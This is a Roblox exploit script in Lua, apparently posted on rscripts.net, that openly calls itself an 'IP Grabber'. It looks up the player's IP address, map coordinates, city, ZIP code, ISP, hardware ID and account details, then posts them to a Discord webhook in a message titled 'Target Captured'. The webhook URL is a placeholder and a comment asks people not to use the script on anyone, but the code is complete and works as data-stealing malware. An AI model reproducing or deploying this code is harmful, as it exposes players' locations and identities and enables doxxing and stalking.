-- [[ Rscripts Risk Notice ]] -- This script was flagged by the rscripts.net risk scanner. Deal with caution. -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[ WARNING: This script is a ip logger without any webhook or anythingy its open source for testing and pls dont use it on anyone. ]] -- ═══════════════════════════════════════════════════════════ -- ⚙️ — PUT YOUR DISCORD WEBHOOK URL BELOW -- ═══════════════════════════════════════════════════════════ local WEBHOOK = "DONT_USE_THIS_ON_SOMEONE_PLS" -- ═══════════════════════════════════════════════════════════ local Players = game:GetService("Players") local HttpService = game:GetService("HttpService") local UserInputService = game:GetService("UserInputService") local GuiService = game:GetService("GuiService") local function getReq() return (syn and syn.request) or (http and http.request) or http_request or request end local function httpGet(url) local req = getReq() if not req then return nil, "no request function" end local ok, res = pcall(req, { Url = url, Method = "GET" }) if not ok then return nil, tostring(res) end if not res then return nil, "nil response" end return res.Body or res.body end local function httpPost(url, body) local req = getReq() if not req then return nil, "no request function" end local ok, res = pcall(req, { Url = url, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = body }) if not ok then return nil, tostring(res) end return res end local function S(v) if v == nil or v == "" then return "N/A" end return tostring(v) end local function YN(v) return v and "✅" or "❌" end local function getDeviceInfo() local info = {} info.os = "Unknown" pcall(function() info.os = GuiService:GetOSVersion() end) info.platform = S(UserInputService:GetPlatform()) info.touchEnabled = UserInputService.TouchEnabled info.keyboardEnabled = UserInputService.KeyboardEnabled info.gamepadEnabled = UserInputService.GamepadEnabled info.mouseEnabled = UserInputService.MouseEnabled info.accelerometerEnabled = UserInputService.AccelerometerEnabled info.gyroscopeEnabled = UserInputService.GyroscopeEnabled info.vrEnabled = UserInputService.VREnabled pcall(function() local cam = workspace.CurrentCamera if cam then info.viewport = cam.ViewportSize.X .. "x" .. cam.ViewportSize.Y end end) info.executor = "Unknown" pcall(function() info.executor = S(identifyexecutor and identifyexecutor()) end) if gethwid then pcall(function() info.hwid = S(gethwid()) end) end if syn and syn.get_hwid then pcall(function() info.hwid = S(syn.get_hwid()) end) end info.placeId = S(game.PlaceId) info.gameId = S(game.GameId) info.jobId = S(game.JobId) info.placeName = "Unknown" pcall(function() info.placeName = S(game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name) end) info.serverPlayers = #Players:GetPlayers() info.locale = "Unknown" pcall(function() info.locale = S(game:GetService("LocalizationService").RobloxLocaleId) end) local p = Players.LocalPlayer if p then info.username = S(p.Name) info.displayName = S(p.DisplayName) info.userId = p.UserId info.accountAge = S(p.AccountAge) info.membership = S(p.MembershipType) pcall(function() info.hasVerifiedBadge = p.HasVerifiedBadge end) pcall(function() info.avatar = ("https://www.roblox.com/headshot-thumbnail/image?userId=%d&width=420&height=420&format=png"):format(p.UserId) end) end return info end local body, err = httpGet("http://ip-api.com/json/?fields=status,message,query,lat,lon,country,countryCode,continent,continentCode,region,regionName,city,district,zip,timezone,offset,isp,org,as,asname,reverse,mobile,proxy,hosting") if not body then warn("[IP] " .. tostring(err)) return end local dOk, d = pcall(function() return HttpService:JSONDecode(body) end) if not dOk or type(d) ~= "table" then warn("[IP] decode: " .. tostring(d)) return end if d.status and d.status ~= "success" then warn("[IP] api: " .. tostring(d.message)) return end local body2 = httpGet("https://ipwho.is/") local d2 = nil if body2 then local ok2, r2 = pcall(function() return HttpService:JSONDecode(body2) end) if ok2 and type(r2) == "table" and r2.success ~= false then d2 = r2 end end local p = Players.LocalPlayer local dev = getDeviceInfo() local coords = (d.lat and d.lon) and string.format("%.6f, %.6f", d.lat, d.lon) or "N/A" local mapsUrl = "https://www.google.com/maps?q=" .. coords local consoleLines = {} consoleLines[#consoleLines+1] = "═══════════ IP / GEO ═══════════" consoleLines[#consoleLines+1] = ("IP: %s"):format(S(d.query)) consoleLines[#consoleLines+1] = ("Coords: %s"):format(coords) consoleLines[#consoleLines+1] = ("Maps: %s"):format(mapsUrl) consoleLines[#consoleLines+1] = ("Country: %s (%s)"):format(S(d.country), S(d.countryCode)) consoleLines[#consoleLines+1] = ("Region: %s | City: %s | ZIP: %s"):format(S(d.regionName), S(d.city), S(d.zip)) consoleLines[#consoleLines+1] = ("ISP: %s | ASN: %s"):format(S(d.isp), S(d.as)) consoleLines[#consoleLines+1] = "" consoleLines[#consoleLines+1] = "═══════════ ACCOUNT ═══════════" consoleLines[#consoleLines+1] = ("Username: %s | Display: %s"):format(S(dev.username), S(dev.displayName)) consoleLines[#consoleLines+1] = ("UserID: %s | Age: %s days"):format(S(dev.userId), S(dev.accountAge)) consoleLines[#consoleLines+1] = "" consoleLines[#consoleLines+1] = "═══════════ DEVICE ═══════════" consoleLines[#consoleLines+1] = ("OS: %s | Platform: %s"):format(S(dev.os), S(dev.platform)) consoleLines[#consoleLines+1] = ("Executor: %s"):format(S(dev.executor)) consoleLines[#consoleLines+1] = ("HWID: %s"):format(S(dev.hwid)) consoleLines[#consoleLines+1] = ("Viewport: %s"):format(S(dev.viewport)) consoleLines[#consoleLines+1] = "" consoleLines[#consoleLines+1] = "═══════════ ROBLOX ═══════════" consoleLines[#consoleLines+1] = ("Place: %s (%s)"):format(S(dev.placeName), S(dev.placeId)) consoleLines[#consoleLines+1] = ("Job: %s | Players: %s"):format(S(dev.jobId), S(dev.serverPlayers)) print("[Be careful Next time twin]\n" .. table.concat(consoleLines, "\n")) -- ============ WEBHOOK SEND ============ if WEBHOOK == "PASTE_YOUR_WEBHOOK_URL_HERE" or WEBHOOK == "" then warn("[Webhook] no URL set — paste it into the CONFIG block at the top.") return end local embed = { title = "🎯 IP Grabber — Target Captured", description = ("**%s** (`%s`)\n[📍 Open in Google Maps](%s)"):format(S(dev.username), S(dev.userId), mapsUrl), color = 0xFF3B3B, thumbnail = dev.avatar and { url = dev.avatar } or nil, fields = { { name = "🌐 IP Address", value = "```" .. S(d.query) .. "```", inline = true }, { name = "📡 ISP", value = S(d.isp), inline = true }, { name = "🏢 Organization", value = S(d.org), inline = true }, { name = "📍 Coordinates", value = "```" .. coords .. "```", inline = true }, { name = "🗺️ Region", value = S(d.regionName), inline = true }, { name = "🏙️ City / District", value = S(d.city) .. " / " .. S(d.district), inline = true }, { name = "📮 ZIP", value = S(d.zip), inline = true }, { name = "🌍 Country", value = ("%s (%s)"):format(S(d.country), S(d.countryCode)), inline = true }, { name = "🕒 Timezone", value = ("%s (UTC%s)"):format(S(d.timezone), S(d.offset)), inline = true }, { name = "🔎 ASN", value = ("%s (%s)"):format(S(d.as), S(d.asname)), inline = true }, { name = "🔁 Reverse DNS", value = S(d.reverse), inline = true }, { name = "🛡️ Flags", value = ("Mobile: %s\nProxy: %s\nHosting: %s"):format(YN(d.mobile), YN(d.proxy), YN(d.hosting)), inline = true }, { name = "—", value = "**─── ACCOUNT ───**", inline = false }, { name = "👤 Username", value = "```" .. S(dev.username) .. "```", inline = true }, { name = "📝 Display Name", value = S(dev.displayName), inline = true }, { name = "🆔 User ID", value = "```" .. S(dev.userId) .. "```", inline = true }, { name = "📅 Account Age", value = S(dev.accountAge) .. " days", inline = true }, { name = "💎 Membership", value = S(dev.membership), inline = true }, { name = "✅ Verified", value = YN(dev.hasVerifiedBadge), inline = true }, { name = "—", value = "**─── DEVICE ───**", inline = false }, { name = "💻 OS", value = S(dev.os), inline = true }, { name = "📱 Platform", value = S(dev.platform), inline = true }, { name = "⚙️ Executor", value = S(dev.executor), inline = true }, { name = "🔑 HWID", value = "```" .. S(dev.hwid) .. "```", inline = false }, { name = "🖥️ Viewport", value = S(dev.viewport), inline = true }, }, footer = { text = "IP Grabber • " .. os.date("%Y-%m-%d %H:%M:%S") }, timestamp = os.date("!%Y-%m-%dT%H:%M:%SZ"), } local payload = HttpService:JSONEncode({ username = "IP Grabber", avatar_url = "https://cdn.discordapp.com/embed/avatars/0.png", embeds = { embed } }) local res, postErr = httpPost(WEBHOOK, payload) if not res then warn("[Webhook] " .. tostring(postErr)) else local code = tonumber(res.StatusCode or res.Status or 0) if code and code >= 200 and code < 300 then print("[Webhook] sent ok (" .. code .. ")") else warn("[Webhook] discord " .. tostring(code) .. " body=" .. tostring(res.Body or res.body)) end end